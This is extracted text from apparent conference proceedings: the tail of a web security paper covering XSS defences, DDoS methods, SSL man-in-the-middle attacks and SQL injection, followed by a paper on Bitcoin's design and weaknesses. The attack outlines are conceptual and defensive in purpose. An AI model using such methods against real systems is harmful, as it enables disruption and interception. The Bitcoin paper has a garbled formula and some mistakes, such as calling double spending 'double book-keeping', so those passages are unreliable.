keeping systems and applications up-to-date may reduce the 

possibility of being attacked. 

3.3.1.4 Do not open untrusted URLs  
Many attackers are trying to send URL which looks normal to 

victims; indeed these URLs may lead to an XSS attack. So when 

received uncertain URLs we'd better not open them directly.  

3.3.2 Developer Protection 

3.3.2.1 Only allow insert untrusted data in safe 

locations. 
First of all, never accept and run script code entered by the users. 

Then carefully check that it is not possible for the users to insert 

untrusted data in to these sensitive locations: between<script> 

</script>, between<!-- -->, attribute names, tag names, <style> 

</style>. 

3.3.2.2 Escape Before Inserting Untrusted Data into 

HTML 
All these need to be done before inserting untrusted data: HTML 

escape, attribute escape, JavaScript escape and CSS escape. These 

can be done by using the ESAPI reference implementation. For 

example: 

String safe = ESAPI.encoder().encodeForHTML(original 

text); 

3.3.2.3 Use HTTPOnly cookie flag 
According to the Microsoft Developer Network, HttpOnly is an 

additional flag included in a Set-Cookie HTTP response header. 

Using the HttpOnly flag when generating a cookie helps mitigate 

the risk of client side script accessing the protected cookie. 

(Microsoft, 2009)  

4.  DDOS 

4.1 Overview 
Distributed Denial of Service (DDoS) attacks are “typically 

explicit attempts to disrupt legitimate users’ access to services” 

[6].  Unlike other attacks on web applications, DDoS attacks try 

to make services unavailable to users, not to hack user data.  

DDoS makes use of large amount of clients to occupy the network 

or resource of the server. In most cases the attacker controls a 

botnet, which makes it difficult to locate the attacker and to 

prevent the attack. 

4.2 Methods of Attack 
There are two kinds of attacks -- bandwidth consumption and 

resource exhaustion. The first kind of attack tries to flood the 

target network with more traffic than it can handle, thus 

preventing the normal packets from reaching their destinations. 

The other one is to occupy the server resources so that other users 

will not be able to access them before they are released by the 

attacker [7]. Besides, there is a method called Level-2 DDoS 

attack, which makes use of defense mechanism on server to 

prevent legal users from accessing web applications. Below are 

some common methods. 

4.2.1 ICMP flood 
ICMP flood attack is to overwhelm the target network with ICMP 

Echo Request (ping) packets. The attacker keeps sending large 

numbers of ping packets. Because the target network will reply to 

these ICMP packets, if the attacker sends packets at a higher 

bandwidth than the target network, the target network will be 

down.  

4.2.2 SYN flood 
A SYN flood attack makes use of the TCP three-way handshake. 

The attacker can send SYN requests without replying SYN-ACK 

response, or send SYN requests with a spoofed IP address. The 

result is that the server will keep these half-open connections. If 

the attacker use a large number of bots to send a lot of SYN 

requests, he may reach the limit of the half-open connections on 

server, so that other users will not be able to establish connections 

with server. 

4.2.3 HTTP POST 
HTTP POST attack also tries to occupy the resources. In this case, 

the attacker use many bots to send HTTP POST requests with 

long content. The attacker controls the sending rate so that the 

server waits for a long time to receive the whole requests. Like the 

SYN flood attack, if the connections reaches the server’s limit, 

other users will fail to access the server. 

4.2.4 Level-2 DDoS 
Level-2 DDoS is a special attack. Actually it is not a DDoS attack. 

It only makes use of DDoS defense mechanism on servers. One 

common way to prevent DDoS attack is to ban the IP of the 

attacker. However, the attacker can use fake IP addresses and let 

the server to ban the IPs. The attacker can even use distributed 

bots to let a wide range of IPs to be banned. This can lead to the 

result that normal users cannot access the server. 

4.3 Protection 
It is not possible to prevent all kinds of DDoS attacks, but there 

are some mitigation techniques to reduce the damage. 

4.3.1 Bandwidth Consumption 
The most obvious solution for bandwidth consumption is to 

increase the server bandwidth. At the same time, distributing the 

web application to different servers will help as well. This 

solution is not trying to solve the attack problem but to increase 

the difficulty to block the service. Another method is to seek help 

from third-part DDoS mitigation service providers such as 

Prolexic (http://www.prolexic.com/). Once an attack is detected, 

they can handle all the packets instead of the application server. 

They will filter the packets and send the clean ones back to 

application server, so that the application will not be affected even 

under DDoS attack. 

4.3.2 Resource Exhaustion 
For resource exhaustion there are several protection methods. 

First of all, switches and routers can be configured to limit rate 

and connection number. Secondly, server can use allocation 

methods like round-robin to serve the requests. Thirdly, firewalls 

should be used. It will be better if a proxy server is setup to 

validate the connection handshake instead of sending everything 

to server. However, the above methods does not handle idle or 

slow connections. To terminate idle or slow connection may 
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disrupt normal users wrongly. Therefore good rules should be 

applied to reduce that. 

5. CERTIFICATE 

5.1 Overview 
Certification Authority, CA act as a role of trusted site of all 

websites and users, to sign and manage the certificates of websites 

that enable their users communicate with their server securely 

(through SSL), allow users encrypt their messages using the 

public key bind inside that certificate. Certificate are usually in 

the format of X.509. 

5.1.1  Flow of the digital certificate 
Certificate contain the details of owner (website) in the format of 

distinguishable name(DN), such as the owner's company's name, 

address, phone number, employee number together with the 

owner's public key, and the expiration date of the certificate. 

When website admin provide their details and Certificate Signing 

Request (CSR), which is an official document to the CA, CA will 

sign the certificate with CA's root certificate (CA's private key) so 

that user can ensure its integrity, genuine and valid within the 

expiration date stated in the certificate. 

Registration Authority, RA (CA may also perform this function 

internally) then verifies the owner's details of the certificates. CA 

may also delegate RA function to external RA like Local RA 

(LRA) in registration process and identification process. 

Once identification process completed, the CA or website can 

now publish the certificate online. 

The digital certificate user requested will forward their certificate 

from the CA to the user, the user decrypt the certificate using CA's 

public key, and extract the website's public key from certificate. 

After user get the certificate, user can now encrypt a shared secret 

key with the public key, send it to the server, and both side will 

use that secret key to communicate. 

 

Figure 2. Flow of digital certificate 

Image From:  http://www.webtrust.org/homepage-

documents/item54279.pdf 

5.2 Methods of Attack 

5.2.1 Cain & Abel 
Cain & Abel attack is developed by Oxid.it. It aims to Microsoft 

OS. It’s very powerful and support both http and https. The basic 

flow of Cain & Abel attack is: 

1) ARP spoofing, to intercept all the internet traffic of the target 

host.  

2) The attacker do SSL handshake with both the server and the 

SSL client. 

3) Based on these two SSL connections, the attack act as the man 

in the middle. 

Because SSL handshake needs certificate to validate the end users, 

but the attacker does not know the private key of the server. In 

this case, in order to attack successfully, the attack must craft a 

fake certificate. Normally the browser will inform the users that 

the certificate is not correct, but it’s the user who will make the 

final decision. So if the user has a clear sense of web security, this 

kind of attack is not easy to succeed. 

5.2.2 SSLStripe 
SSLStripe is another type of attack aimed to SSL which was 

presented by Moxie Marlinspike at Black Hat DC 2009.  Its flow 

is: 

1) ARP spoofing, to intercept all the internet traffic of the target 

host. 

2) When using web applications which need to be protected by 

SSL, many users do not check whether the URL start with https or 

not. So the attacker can replace all the https connections by http.  

3) Meanwhile, attacker use the data retrieved to maintain an https 

connection with the server. 

4) Because all the input from the user was via http so it’s not 

difficult to sniffer. 

Comparing to Cain & Abel attack, SSLStripe is harder for the 

users to detect. However, if the user is carefully enough it still can 

be avoided. 

5.3 Protection 
For both kinds of attacks mentioned above, there is no good way 

for developer to protect their applications. The effort will be on 

the user side. Users should use browsers like Chrome and enable 

certificate verifying, so that the browsers can help to verify the 

SSL connection as well as the identity of the certificate. 

6. SQL INJECTION 

6.1 Overview 
Most web applications involves database, which uses SQL. 

According to OWASP (www.owasp.org), injection is the number 

one threat to web applications in 2013. The cause is poor input 

filtering which allows attackers to operate on the database using 

SQL.  

6.2 Methods of Attack 
The attacker can design a certain input to modify the SQL query 

and let it get executed immediately. This is the most common 

SQL injection attack. For example add UNIONS to the previous 

378



statement to execute the second statement, or add ‘; followed by 

the statement. 

6.3 Protection 

6.3.1 Least privilege 
For each kind of operation, use the database account with least 

privilege, so that even something goes wrong, the damage is 

limited.  

6.3.2 Using database API 
Most database provides filtering API to handle the input data. 

What is behind the API is that they encode the input and query 

with the server, so that invalid input will become valid query 

string to the server side. The following example is to encode input 

using PHP and POSTGRESQL. 

$input = $_POST[‘username’] 

$result = pg_query_params($dbconn, 'insert into users values 

($1);', array($input)); 

6.3.3 Handling error message 
In most cases, the attackers have to know the database that is used 

at the server before they can perform an attack. Default error 

messages may contain the information of the database application. 

To prevent this, developers should handle the error message and 

rewrite the output that the users can see. 
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ABSTRACT
In this paper, we look into the complexity of Bitcoin, a peer-to-
peer network that functions as a payment system. It will entail the 
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1. INTRODUCTION
Bitcoin is a peer-to-peer payment system. It was developed as an 
open source platform by its founder Satoshi Nakamoto and 
released to the public in 2009. Since its inception, Bitcoin has 
been the subject of various controversies and intrigue. 

Bitcoin was released with the purpose of an electronic cash 
system that did not rely on a central organization for regulation. 
The issue with electronic cash was that of double book-keeping. 
This happens to be a fundamental principle of accounting where 
for a transaction involving a credit entry, a debit entry is also 
made. For example, if one earned $1000 as his salary, he would 
enter a credit amount of $1000 for “Income” and $1000 as a debit 
amount for “Cash”. When both credit and debit fields are added, 
they would sum to 0. The problem was that if electronic cash was 
merely pieces of data, what measures would be in place to prevent 
one from simply duplicating this piece of data or manipulating it 
for other gains [1]. 

Also, for such transactions there was a need for a central authority 
be they governments, banks or credit companies to exercise 
regulation and hold such information in their ledgers. Thus, the 
complexity of the problem becomes clear if one was to develop a 
de-centralized system that also achieved the goal of double book-
keeping.

Bitcoin achieves this through employing a peer-to-peer network 
that works on a proof-of-work system. The network timestamps 
transactions by hashing them into an ongoing chain of hash-based 
proof-of-work. This record cannot be changed without redoing the 
proof-of-work. The longest chain serves as evidence of the 
sequence in which events took place. 

This is achieved through the CPU power of individual nodes in 
the network. As long as majority of nodes do not cooperate to 
attack the network, the longest chain is formed. The structure of 
the network is minimal as nodes can exit and enter as they please 
and will be presented with the longest proof-of-work chain when 
they enter [2]. 

Take note that “Bitcoin” refers to the technology that was used to 
achieve the network and “bitcoin” refers to the currency.   

2. FRAMEWORK
The framework for Bitcoin involves certain aspects such as the 
basic transaction, timestamp server and proof-of-work. This 
section will explore the basis and functions of these concepts that 
pertain to Bitcoin.

2.1 Transaction
A basic transaction in Bitcoin involves the usage of digital 
signatures. We can define an electronic coin as a chain of digital 
signatures. Each transfer is recognized by the owner digitally 
signing a hash of the previous transaction and the public key of 
the next owner and adding them to the end of chain. The recipient 
then verifies the chain of ownership to ensure that the transaction 
is valid [2].

  

Figure 1 illustrates how a transaction is verified and added to the 
chain. We once again get reminded of the issue of double book-
keeping. There is a need for a central authority to inspect all 
transactions to ensure that they have are all accounted for. In the 
case of Bitcoin, however, it bypasses such a requirement by 
publicly posting up all transactions. This way there is no need for

Figure 1. Bitcoin transaction
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a central authority to verify the details of a transaction as long as 
all majority of nodes in the network can verify that at the time of 
the transaction, it was first achieved. This single history of 
transactions forms the chain of digital signatures.

2.2 Timestamp server
The basis of transactions leads to the timestamp server. A 
timestamp server operates by taking the hash of the block of 
objects to be timestamped and publicly posts them. Each 
timestamp is proof that the data must have existed at a part of time 
to generate the hash and also contains the previous timestamp in 
its hash. This essentially forms a chain of timestamps with new 
timestamps that reinforce the previous ones [2]. 

Figure 2 illustrates this.

2.3 Proof-of-work
The proof-of-work system is the means through which the 
timestamp server is implemented. This is achieved through 
scanning for a value which when hashed, with say the SHA-256 
algorithm, the hash begins with a number of zero bits. For the 
timestamp network, the proof-of-work is achieved through 
providing a nonce value that is incremented till a value is found 
that gives the block’s hash the required number of zero bits[3].

The amount of work required by the CPU is exponential in the 
number of zero bits required. Once it has been determined that the 
effort expended by the CPU satisfies the proof-of-work, the work 
cannot be changed without redoing the work. This effectively 
means that to change a block at any point of time, an attacker 

would have to modify a past block and catch up to the current 
block to ensure that he is able to form the longest block chain. 
This will be discussed later. 

3. NETWORK
The Bitcoin network comprises of the peer-to-peer system by 
which it is able to achieve electronic transactions. This is done 
through installing a Bitcoin wallet client which in essence works 
on the basis of public key cryptography. This system generates a 
set of public and private keys for transactions. Public keys are 
similar to bank account numbers and whenever a transaction takes 
place, they are digitally “signed” with the private key [1]. The 
network is then further enforced through the nodes that are 
connected and check transactions for proof-of-work. The steps are 
detailed as follows [2]:

1) New transactions are broadcast to all nodes.

2) Each node collects new transactions into a block.

3) Each node works on finding a difficult proof-of-work for its          
block.

4) When a node finds a proof-of-work, it broadcasts the block to 
all nodes.

5) Nodes accept the block only if all transactions in it are valid 
and not already spent.

6) Nodes express their acceptance of the block by working on
creating the next block in the chain, using the hash of the accepted 
block as the previous hash.

This procedure is also through which bitcoin “mining” takes 
place. Currently, the time at which a new block is added stands at 
10 minutes and the amount of bitcoins awarded for successfully 
adding a block to the block chain is 25 bitcoins which currently 
has an approximate value of USD 10,000. It is thus easy to see 
why such a system could potentially sustain itself by providing 
incentives in exchange for nodes using CPU power to compute 
transactions and adding blocks to the block chain. 

                           

Figure 2. Timestamp server

Figure 3. Proof-of-work for blocks

Figure 4. Block chain
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Figure 4 shows how a successful block chain is formed. Only the 
longest possible chain is formed and this is seen through the chain 
in black. Other peripheral blocks are not regarded as they do not 
form the longest chain possible.

3.1 Bitcoin “Mining”
The term “mining” relates to the usage of one’s CPU power for 
the purpose of forming new blocks that are added to the block 
chain provided majority of nodes accept it. The history of mining 
has evolved in a short period of time as it will get increasingly 
difficult to mine bitcoins. Various methods and devices have been 
employed to achieve this.

The evolution of mining bitcoins has been from users using their 
own CPU to add new blocks to the block chain. Following the 
increase in number of Bitcoin users and nodes, mining bitcoins 
became harder and harder and thus users turned to using 
graphical processing unit (GPU) which were present in graphics 
cards. GPU was also able to hash 50-100 times faster than CPU 
power. However, companies soon found that through field 
programmable gate arrays (FPGAs) they could dedicate entire 
hardware just for the purpose of bitcoin mining [4].

The technology employed now however, is a step up from FPGA 
and consists of application-specific integrated circuit (ASIC). 

Figure 5. shows a 1 terahertz ASIC bitcoin miner that was 
developed by Butterfly Labs for the sole purpose of bitcoin 
mining [5]. It currently retails for USD 2393.00 and even with 
this piece of advanced hardware, an individual who wishes to 
mine bitcoins may not be successful in doing so. 

The main reason is that as the mentioned before, the hash value to 
be computed is dependent on the hash value being acknowledged. 
As the number of transactions gets higher, the leading zero bits 
for the required hash value also increases. This then forces the 
system to reward lower and lower number of bitcoins as time 
progresses.

From its inception, the reward for a successful addition to the 
block chain was 50 bitcoins. This number would halve every 
210,000 blocks and the total number of bitcoin to ever be in 

circulation has been capped at 21 million [1]. The genesis block, 
meaning the very first block of the block chain was mined by 
Satoshi Nakamoto. Certain fundamental flaws of Bitcoin may 
seem to surface which we will discuss in later sections.

3.2 Hash algorithms                                                               
The hash algorithms employed in Bitcoin are from the SHA-2 
family and RIPEMD-160. Every transaction can be done with a 
different set of public and private keys as long as they correspond 
correctly for verification. The method in which Bitcoin addresses 
are generated is through two SHA-256 hashes which are used for 
transaction verification and RIPEMD-160 is used after SHA-256 
hash. 

SHA-256 belongs to the SHA-2 family of cryptographic hash 
function that was designed by National Security Agency (NSA) 
and published in 2001 by National Institute of Standards and 
Technology (NIST). It is an improvement over its predecessor 
SHA-1 [6]. 

    

Figure 6. illustrates the simple function of SHA-1. This is the 
same basis for SHA-256 which takes in a piece of input data and 
generates a digest through the hash function. 

RIPEMD-160 is another cryptographic function that is used to 
generate the final Bitcoin address. Its basis is the same as SHA-
256. Figure 6 also shows the avalanche effect; where a slight 
change in input data results in an entirely different digest being 
generated.    

4. VULNERABILITIES
This section will explore the vulnerabilities of the Bitcoin, be they 
technological or design flaws that may become evident over time. 
The fundamental basis for Bitcoin was to avoid any form of 
central agency and ensure that an online currency could be 
sustained while at the same time ensuring that double book-
keeping is addressed. By shifting the responsibility to users, 
Bitcoin ensures that as long as there are incentives in place for 
maintaining and adding blocks to the block chain, it will be able 
to sustain itself in the long run without any need for intervention. 

Figure 5. 1 TH Bitcoin Miner

Figure 6. Cryptographic hash function

383



4.1 Design Flaws
Although a system based on incentive is likely to sustain itself for 
a period of time as long as users work with a positive mindset, it 
must be said that the increasing difficulty of mining bitcoins is 
likely to deter future users from using such a form of technology.  

The increased difficulty of mining bitcoins has led to pools where 
people form various groups to mine bitcoins and them sharing the 
reward corresponding to the amount of contribution put in by 
each member. It must be noted that since 2009, it has only been 5 
years and yet the technology for bitcoin mining has surpassed 
what anyone would have imagined. 

This arms race of sorts when combined with Moore’s Law only 
happens to cause further worry as to the future of Bitcoin. One 
may say that if one does not wish to take part in mining activities 
and would be content just to use Bitcoin exchanges for the 
transactions involving bitcoin. This is a perfectly acceptable 
solution with the fundamental concern being that every 
transaction in Bitcoin is part of the block chain. Without adding a 
new block onto the block chain, transactions will not be verified
and thus the transaction in a sense would never have taken place
[7]. 

Thus it is clear that if in 5 years we have seen the technology 
being used for mining bitcoins grow at a rather alarming rate, one 
can only wonder what kind of methods will be employed in the 
future for these processes. The concern here is that of a case 
where everyone has begun to sprint when the system was designed
to be a marathon for sustainability in the long run.

4.2 “History revision” Attack
As mentioned before, for an attacker to successfully to cheat or 
game the system, he would need to modify his transaction and 
create the longest block chain up till the latest new block and 
ensures that his one is able to replace the current block chain as 
the longest possible block chain. Currently, the block chain stands 
at around 16 gigabytes, and though this may not seem like a big 
number, one should take note that an individual transaction only 
comprises typically around half a kilobyte in data size. That alone 
relates to more than 32 million transactions that have to be 
replicated till the current block. Though, it may seem absurd to do 
so, theoretically it is possible.

The basis for its possibility is from Moore’s Law that states that 
computational power per unit cost is doubling every year or so. If 
we assume a stable population of verifiers, the block difficulty 
parameter, meaning how hard it is to compute a new block which 
is set by the system is an exponential function of time.

f(t )= αet/τ
. The total difficulty of the block chain at any point 

of time can thus be approximated with the integral

F(t) = 
t

t

dttf
0

')'(  f(t)

This follows the simple principle that regardless of the block 
chain length as long as the attacker is able to form a simple 
multiple, say 2 times that of the computational power of legitimate 
verifiers together, and with an attack that starts at t = t 1 , it is 
possible to create an alternative history with time forked at the 

origin, t 0  whose total difficulty F(t’) will overtake F(t) a a future 
time t = t2 where the attack length, t2 – t1 approximates to about 1-
2 years for a multiple of 2 times. In fact, this is compounded by 
mining pools, where a larger number of people contributing to a 
higher percentage of computational power used to mine bitcoins 
can easily bring about such changes by multiplying their current 
efforts [7]

4.3 Theft and Malware
With the sudden increase in Bitcoin usage and value, personal 
security of Bitcoin wallets has become of paramount importance. 
And yet, in its short history, there have been countless cases of 
bitcoins being stolen and malicious software being released to 
steal bitcoins have also become common place. 

The fear is always there that even if one were to trust their 
bitcoins to exchanges such as Bitcoinica, digital break-ins have 
taken place and resulted in loss of real life money. To make 
matters worse, the largest Bitcoin exchange Mt Gox  has ceased 
functioning as en exchange. This highlights real dangers and 
threats to anyone who carries the Bitcoin client. 

It was also discovered in March 2013, that in the version 0.8 of 
the client, there was issue with backward compatibility from 
version 0.7 that led to a blocks not being fully recognized. This 
was due to a change in a database library module that changed 
from Oracle Berkeley DB in version 0.7 to Level DB, created by 
Google in version 0.8 [3]. 

There is also the threat of malware that runs on devices to steal 
Bitcoin information, namely the wallet.dat file which has the set 
of public and private keys for Bitcoin addresses. There have been 
malware such as OSX/CoinThief that have spread through the 
usage of cracked apps such as Angry Birds. There is no doubt that 
there is a correlation between gamers and the release of malware 
to target them. The demographics of Bitcoin users corresponds 
with the given age –group and interests [8].

5. LEGALITY
At its heart, since Bitcoin does not have any central authority to 
govern its usage, there arise the issues of legality especially when 
various governments are concerned as to how they would broach 
it. 

Figure 7. shows the legal status of Bitcoin usage where green 
areas represent legal areas, yellow for some restricted usage of 
Bitcoin and red pertaining to full or partial prohibition of Bitcoin 
usage. 

Figure 7. Legal status of Bitcoin 
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It is clear that the usage of Bitcoin has covered most of the world 
and perhaps governments may have to come up with 
precautionary measures when it comes to Bitcoin usage. This is 
especially important when the previous mentioned vulnerabilities 
of Bitcoin have been surfaced as well as other illegal activities 
that could be carried out such as money laundering and the 
anonymous purchase of drugs and other illegal substances [9]. 

When we take Singapore as an example, the Monetary Authority 
of Singapore (MAS) has warned of its usage due to the difficulty 
in tracing the identity of users. As such, caution is to be exercised 
when dealing with bitcoin trading [10]. 

Singapore has also developed tax laws in accordance to bitcoin 
trading where goods and services tax (GST) applies to the trading 
of bitcoins through exchanges in Singapore such as FYB-SG [11].

6. CONCLUSION
In conclusion, it is clear that Bitcoin has provided an interesting 
perspective to the concept of online currency. Though it has 
certainly addressed some of the fundamental issues of online 
currency such as double book-keeping, there are other issues of 
concern that have to be considered if long term sustainability is a 
real goal. These pertain to certain fundamental flaws that may not 
seem relatively harmless and yet the speed in which Bitcoin 
technology has evolved states otherwise. 

As such, it is important to consider the various facets concerning 
Bitcoin and one could definitely state that it has redefined the 
concept of electronic cash with an immense impact. 
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